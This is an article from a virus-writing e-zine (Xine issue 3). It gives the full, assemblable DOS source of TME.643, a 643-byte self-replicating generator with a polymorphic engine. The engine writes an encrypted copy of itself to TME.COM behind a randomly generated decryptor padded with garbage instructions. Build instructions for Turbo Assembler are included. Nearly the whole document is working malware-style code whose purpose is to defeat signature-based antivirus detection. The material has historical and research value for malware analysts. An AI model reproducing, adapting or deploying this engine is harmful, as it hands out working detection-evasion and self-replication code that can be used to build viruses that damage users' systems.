
                                        /-----------------------------\
                                        | Xine - issue #3 - Phile 308 |
                                        \-----------------------------/


comment *
				TME.643
			     Disassembly by
			      Darkman/29A

  TME.643 is a 643 bytes generator. Generates a new copy of itself, when
  executed. TME.643 is polymorphic in file using its internal polymorphic
  engine.

Garbage instructions:
  CMP reg,reg; TEST reg,reg
  JA/JNBE imm8; JAE/JNC/JNB imm8; JB/JC/JNAE imm8; JBE/JNA imm8; JE/JZ imm8
  JG/JNLE imm8; JGE/JNL imm8; JL/JNGE imm8; JLE/JNG imm8; JNE/JNZ imm8
  JNO imm8; JNP/JPO imm8; JNS imm8; JO imm8; JP/JPE imm8; JS imm8
  NOP; CLD; STD; STI; CMC; CLC; STC

Garbage registers:
  AL; CL; DL; BL; AH; CH; DH; BH; AX; CX; DX; BX; (SP); BP; SI; DI

TME decryptor:
  One to four garbage instruction(s).
  MOV reg16,DS					   (Unable to use SP as reg16)
  One to four garbage instruction(s).
  MOV DS,reg16					   (Unable to use SP as reg16)
  One to eight garbage instruction(s).
  One to four garbage instruction(s).
    MOV reg16,imm16 (Decryption key; Length of encrypted code; Offset of e...)
    One to two garbage instruction(s).
  One to eight garbage instruction(s).
  XOR [SI+imm8],reg16; XOR [DI+imm8],reg16; XOR [BX+SI+imm8],reg16; XOR [BX...
  One to four garbage instruction(s).
  INC reg8				(Increase high byte of decryption key)
  One to four garbage instruction(s).
  INC reg16					     (Increase count register)
  One to four garbage instruction(s).
  DEC reg8				 (Decrease low byte of decryption key)
  One to two garbage instruction(s).
  LOOP imm8			  (Garbage generation above decryption opcode)
  One to four garbage instruction(s).

Min. decryptor size:  36 bytes.
Max. decryptor size: 134 bytes.

  I would like to thank my girlfriend for pushing me to finish this
  disassembly.

  To compile TME.643 with Turbo Assembler v 4.0 type:
    TASM /M TME.ASM
    TLINK /t /x TME.OBJ
*

.model tiny
.code
 org   100h				 ; Origin of TME.643

code_begin:
	     call    delta_offset
delta_offset:
	     pop     si 		 ; Load SI from stack
	     sub     si,offset delta_offset

	     mov     di,100h		 ; DI = offset of beginning of code
	     add     si,di		 ; SI =   "    "      "     "   "
	     mov     cx,(code_end-code_begin)
	     lea     bx,open_file	 ; BX = offset of open_file
	     cld			 ; Clear direction flag

	     jmp     move_tme_gen
open_file:
	     mov     [decrypt_off],100h  ; Store decryptor's offset

	     lea     dx,filename	 ; DX = offset of filename
	     mov     ax,3d02h		 ; Open file (read/write)
	     int     21h
	     xchg    ax,bx		 ; BX = file handle

	     mov     ah,40h		 ; Write to file
	     xor     cx,cx		 ; CX = number of bytes to write
	     int     21h

	     mov     cx,(code_end-code_begin)
	     call    tme_poly

	     mov     ah,3eh		 ; Close file
	     int     21h

	     int     20h		 ; Terminate program!

int21_simula proc    near		 ; Simulate interrupt 21h
	     int     21h

	     ret			 ; Return!
	     endp

set_pos_eof  proc    near		 ; Set current file position (EOF)
	     mov     ax,4202h		 ;  "     "     "      "       "
	     xor     cx,cx		 ; Zero CX
	     xor     dx,dx		 ; Zero DX
	     int     21h

	     ret			 ; Return!
	     endp

filename     db      'TME.COM',00h       ; Filename

tme_poly     proc    near		 ; TME.643 (polymorphic engine)
	     push    bx cx		 ; Save registers at stack

	     lea     di,random_table	 ; DI = offset of random_table

	     xor     ax,ax		 ; Get system time
	     int     1ah

	     xchg    ax,dx		 ; AX = 16-bit random number
	     mov     cx,(random_end-random_begin)/02h
	     mov     bx,ax		 ; BX = 16-bit random number
gen_tbl_loop:
	     rcr     ax,01h		 ; AX =   "      "      "
	     jnc     sto_rnd_num	 ; No carry? Jump to sto_rnd_num

	     db      31h,0d8h		 ; XOR AX,BX
sto_rnd_num:
	     stosw			 ; Store 16-bit random number

	     loop    gen_tbl_loop

	     lea     si,random_table	 ; SI = offset of random_table
	     mov     cx,(random_end-random_begin)/02h
sto_rnd_loop:
	     in      al,40h		 ; AL = 8-bit random number
	     xor     [si],al		 ; Store 8-bit random number
	     inc     si 		 ; Increase index register
	     loop    sto_rnd_loop

	     lea     di,reg16_table	 ; DI = offset of reg16_table
	     mov     cx,06h		 ; Store twelve bytes

	     xor     ax,ax		 ; Zero AX
	     stosw			 ; Store zero

	     pop     ax 		 ; Load AX from stack (CX)
	     stosw			 ; Store length of plain code

	     xor     ax,ax		 ; Zero AX
	     rep     stosw		 ; Store zero

	     lea     di,destination	 ; DI = offset of destination
	     lea     si,random_table	 ; SI = offset of random_table
	     xor     cx,cx		 ; Zero CX

	     mov     ah,03h		 ; Generate one to four garbage ins...
	     call    gen_garbage
dont_use_sp:
	     lodsb			 ; AL = 8-bit random number
	     and     ax,0000000000000111b
	     cmp     al,00000100b	 ; Stack pointer?
	     je      dont_use_sp	 ; Equal? Jump to dont_use_sp

	     xchg    al,ah		 ; AH = random 16-bit register
	     add     ax,1101100010001100b
	     stosw			 ; Store MOV reg16,DS

	     push    ax 		 ; Save AX at stack
	     mov     ah,03h		 ; Generate one to four garbage ins...
	     call    gen_garbage
	     pop     ax 		 ; Load AX from stack

	     add     al,00000010b	 ; MOV DS,reg16
	     stosw			 ; Store MOV DS,reg16

	     mov     ah,07h		 ; Generate one to eight garbage in...
	     call    gen_garbage

	     lodsb			 ; AL = 8-bit random number
	     and     ax,0000000000000111b
	     mov     [address_mode],al	 ; Store registers used in decrypt...

	     push    si 		 ; Save DI at stack
	     mov     si,ax		 ; SI = random number within seven
	     shl     si,01h		 ; Multiply random number by two
	     add     si,offset mode_table

	     jmp     [si]
mode_si:
	     pop     si 		 ; Load SI from stack

	     mov     ax,[decrypt_off]	 ; AX = decryptor's offset
	     add     [si_],ax		 ; Store decryptor's offset
	     or      cl,00000110b	 ; Source index is index register

	     jmp     get_key_reg
mode_di:
	     pop     si 		 ; Load SI from stack

	     mov     ax,[decrypt_off]	 ; AX = decryptor's offset
	     add     [di_],ax		 ; Store decryptor's offset
	     or      cl,00000111b	 ; Destination index is index register

	     jmp     get_key_reg
mode_bx_si:
	     pop     si 		 ; Load SI from stack

	     mov     ax,[decrypt_off]	 ; AX = decryptor's offset
	     mov     [si_],ax		 ; Store decryptor's offset
	     mov     ax,[si-01h]	 ; AX = 16-bit random number
	     sub     [si_],ax		 ; Store 16-bit random number
	     add     [bx_],ax		 ;   "     "      "      "
	     or      cl,00000011b	 ; Base register is index register

	     jmp     get_key_reg
mode_bx_di:
	     pop     si 		 ; Load SI from stack

	     mov     ax,[decrypt_off]	 ; AX = decryptor's offset
	     mov     [di_],ax		 ; Store decryptor's offset
	     mov     ax,[si]		 ; AX = 16-bit random number
	     sub     [bx_],ax		 ; Store 16-bit random number
	     add     [di_],ax		 ;   "     "      "      "
	     or      cl,00000111b	 ; Destination index is index register

	     jmp     get_key_reg
mode_bp_si:
	     pop     si 		 ; Load SI from stack

	     mov     [address_mode],02h  ; Store registers used in decrypt...
	     mov     ax,[decrypt_off]	 ; AX = decryptor's offset
	     mov     [si_],ax		 ; Store decryptor's offset
	     mov     ax,[si+03h]	 ; AX = 16-bit random number
	     sub     [bp_],ax		 ; Store 16-bit random number
	     add     [si_],ax		 ;   "     "      "      "
	     or      cl,00000101b	 ; Base pointer as index register

	     jmp     get_key_reg
mode_bp_di:
	     pop     si 		 ; Load SI from stack

	     mov     [address_mode],03h  ; Store registers used in decrypt...
	     mov     ax,[decrypt_off]	 ; AX = decryptor's offset
	     mov     [bp_],ax		 ; Store decryptor's offset
	     mov     ax,[si-01h]	 ; AX = 16-bit random number
	     sub     [bp_],ax		 ; Store 16-bit random number
	     add     [di_],ax		 ;   "     "      "      "
	     or      cl,00000111b	 ; Destination index is index register
get_key_reg:
	     mov     ah,03h		 ; Generate one to four garbage ins...
	     call    gen_garbage
get_key_reg_:
	     dec     si 		 ; Decrease SI
	     lodsw			 ; AX = 16-bit random number
	     and     ax,0000000000000011b

	     mov     bx,ax		 ; BX = register holding decryption...
	     shl     bx,01h		 ; Multiply register holding decryp...
	     cmp     word ptr [bx+reg16_table],00h
	     jnz     get_key_reg_	 ; Register already in use? Jump to...

	     push    ax 		 ; Save AX at stack
	     dec     si 		 ; Decrease index register
	     lodsw			 ; AX = 16-bit random number
	     mov     word ptr [bx+reg16_table],ax

	     mov     bp,si		 ; BP = offset within table of rand...
	     lea     si,reg16_table	 ; SI = offset of reg16_table
	     push    cx 		 ; Save CX at stack
	     mov     cx,08h		 ; Examine all 16-bit registers

	     mov     bx,0000000010111000b
examine_loop:
	     lodsw			 ; AX = 16-bit immediate
	     or      ax,ax		 ; Register in use?
	     jz      dont_gen_mov	 ; Zero? Jump to dont_gen_mov

	     mov     [di],bl		 ; Store MOV reg16,imm16

	     push    bx 		 ; Save BX at stack
	     sub     bx,0000000010111000b
	     shl     bx,01h		 ; Multiply register number by two
	     mov     word ptr [bx+reg16_table_],01h
	     pop     bx 		 ; Load BX from stack

	     inc     di 		 ; Increase DI

	     stosw			 ; Store 16-bit immediate
dont_gen_mov:
	     push    si 		 ; Save SI at stack
	     mov     si,bp		 ; SI = offset within table of rand...
	     inc     bx 		 ; BX = offset of next register wit...

	     mov     ah,01h		 ; Generate one to two garbage inst...
	     call    gen_garbage

	     mov     bp,si		 ; BP = offset within table of rand...
	     pop     si 		 ; Load SI from stack

	     loop    examine_loop

	     mov     si,bp		 ; SI = offset within table of rand...

	     pop     cx ax		 ; Load registers from stack
	     push    di ax		 ; Save registers at stack

	     mov     ah,07h		 ; Generate one to eight garbage in...
	     call    gen_garbage

	     mov     al,00110001b	 ; XOR [(reg16+)reg16+imm8],reg16
	     stosb			 ; Store XOR [(reg16+)reg16+imm8],r...

	     mov     bl,[address_mode]	 ; BL = address mode number
	     or      bl,01000000b	 ; XOR [(reg16+)reg16+imm8],reg16

	     pop     ax 		 ; Load AX from stack
	     push    ax 		 ; Save AX at stack

	     shl     ax,01h		 ; Shift register holding decryptio...
	     shl     ax,01h		 ;   "      "        "         "
	     shl     ax,01h		 ;   "      "        "         "
	     db      00h,0d8h		 ; ADD AL,BL
	     stosb			 ; Store XOR [(reg16+)reg16+imm8],r...
	     mov     word ptr [decrypt_off_],di

	     stosb			 ; Store temporary decryption key

	     mov     ah,03h		 ; Generate one to four garbage ins...
	     call    gen_garbage

	     pop     ax 		 ; Load AX from stack
	     push    ax 		 ; Save AX at stack

	     xchg    al,ah		 ; AH = register holding decryption...
	     add     ax,1100000011111110b
	     push    ax 		 ; Save AX at stack
	     stosw			 ; Store INC reg8

	     mov     ah,03h		 ; Generate one to four garbage ins...
	     call    gen_garbage

	     xchg    ax,cx		 ; AX = index register
	     add     al,01000000b	 ; INC reg16
	     stosb			 ; Store INC reg16

	     mov     ah,03h		 ; Generate one to four garbage ins...
	     call    gen_garbage

	     pop     ax 		 ; Load AX from stack
	     or      ah,00001100b	 ; DEC reg8
	     stosw			 ; Store DEC reg8

	     mov     ah,01h		 ; Generate one to two garbage inst...
	     call    gen_garbage

	     mov     al,11100010b	 ; LOOP imm8 (opcode 0e2h)
	     stosb			 ; Store LOOP imm8

	     mov     ax,di		 ; AX = offset of LOOP imm8
	     pop     dx bx		 ; Load registers from stack
	     push    dx 		 ; Save DS at stack

	     db      29h,0d8h		 ; SUB AX,BX
	     not     al 		 ; AL = 8-bit immediate
	     stosb			 ; Store 8-bit immediate

	     mov     ah,03h		 ; Generate one to four garbage ins...
	     call    gen_garbage

	     lea     si,code_begin	 ; SI = offset of code_begin
	     mov     cx,(code_end-code_begin)
	     push    di cx		 ; Save registers at stack
	     rep     movsb		 ; Move plain code above decryptor
	     pop     cx si bx		 ; Load registers from stack

	     push    si 		 ; Save SI at stack
	     shl     bx,01h		 ; Multiply register holding decryp...
	     mov     ax,word ptr [bx+reg16_table]
encrypt_loop:
	     xor     [si],ax		 ; Encrypt byte of plain code
	     inc     al 		 ; Increase high-order byte of encr...
	     dec     ah 		 ; Decrease low-order byte of encry...

	     inc     si 		 ; Increase index register

	     loop    encrypt_loop

	     mov     si,word ptr [decrypt_off_]
	     pop     ax 		 ; Load AX from stack
	     sub     ax,offset destination
	     mov     [si],al		 ; Store 8-bit immediate
	     xchg    ax,cx		 ; CX = length of decryptor
	     add     cx,(code_end-code_begin)

	     pop     bx 		 ; Load BX from stack

	     mov     ah,40h		 ; Write to file
	     lea     dx,destination	 ; DX = offset of destination
	     call    int21_simula

	     call    set_pos_eof

	     ret			 ; Return!

gen_garbage  proc    near		 ; Generate random number of garbag...
	     push    ax cx		 ; Save registers at stack
	     xor     cx,cx		 ; Zero CX

	     lodsb			 ; AL = 8-bit random number
	     and     al,ah		 ; AL = random number within range
	     inc     al 		 ; Increase random number within range
	     db      88h,0c1h		 ; MOV CL,AL
garbage_loop:
	     lodsb			 ; AL = 8-bit random number
	     push    si 		 ; Save SI at stack

	     test    al,00000001b	 ; Generate one byte opcode?
	     jz      gen_one_byte	 ; Zero? Jump to gen_one_byte

	     lodsb			 ; AL = 8-bit random number
	     test    al,00000001b	 ; Generate jump on condition?
	     jz      gen_jump_con	 ; Zero? Jump to gen_jump_con

	     lea     si,two_bytes	 ; SI = offset of two_bytes
	     and     ax,0000000000000011b
	     shl     ax,01h		 ; Multiply random number by two
	     db      01h,0c6h		 ; ADD SI,AX
	     movsb			 ; Move CMP/TEST reg,reg

	     pop     si 		 ; Load SI from stack
	     lodsb			 ; AL = 8-bit random number

	     or      al,11000000b	 ; Generate CMP/TEST reg,reg
	     stosb			 ; Store CMP/TEST reg,reg

	     jmp     next_garbage
gen_jump_con:
	     pop     si 		 ; Load SI from stack

	     and     ax,0000000000000111b
	     add     al,01110000b	 ; Generate jump on condition
	     stosb			 ; Store jump on condition

	     xor     al,al		 ; Zero AL
	     stosb			 ; Store 8-bit immediate

	     jmp     next_garbage
gen_one_byte:
	     lea     si,one_bytes	 ; SI = offset of one_bytes
	     and     ax,0000000000000111b
	     db      01h,0c6h		 ; ADD SI,AX
	     movsb			 ; Move NOP/CLD/STD/STI/CMC/CLC/STC

	     pop     si 		 ; Load SI from stack
next_garbage:
	     loop    garbage_loop

	     pop     cx ax		 ; Load registers from stack

	     ret			 ; Return!
	     endp

mode_table   dw      mode_bx_si 	 ; Offset of mode_bx_si
	     dw      mode_bx_di 	 ; Offset of mode_bx_di
	     dw      mode_bp_si 	 ; Offset of mode_bp_si
	     dw      mode_bp_di 	 ; Offset of mode_bp_di
	     dw      mode_si		 ; Offset of mode_si
	     dw      mode_di		 ; Offset of mode_di
	     dw      mode_bp_si 	 ; Offset of mode_bp_si
	     dw      mode_bp_di 	 ; Offset of mode_bp_di
one_bytes:
	     nop			 ; One byte opcode
	     cld			 ;  "   "     "
	     std			 ;  "   "     "
	     sti			 ;  "   "     "
	     cmc			 ;  "   "     "
	     clc			 ;  "   "     "
	     stc			 ;  "   "     "
two_bytes:
	     cmp     ax,ax		 ; Two bytes opcodes
	     test    ax,ax		 ;  "    "      "
	     cmp     al,al		 ;  "    "      "
	     test    al,al		 ;  "    "      "
move_tme_gen:
	     rep     movsb		 ; Move generator to beginning of code

	     jmp     bx
	     endp
code_end:
decrypt_off  dw      ?			 ; Decryptor's offset
address_mode db      ?			 ; Address mode number
decrypt_off_ db      ?			 ; Offset of decryption key
random_begin:
random_table dw      28h dup(?) 	 ; Table of random numbers
random_end:
reg16_table:
ax_	     dw      ?			 ; Accumulator register
cx_	     dw      ?			 ; Count register
dx_	     dw      ?			 ; Data register
bx_	     dw      ?			 ; Base register
sp_	     dw      ?			 ; Stack pointer
bp_	     dw      ?			 ; Base pointer
si_	     dw      ?			 ; Source index
di_	     dw      ?			 ; Destination index
reg16_table_ dw      08h dup(?) 	 ; Table of 16-bit registers
	     db      309h dup(?)
destination:
data_end:

end	     code_begin
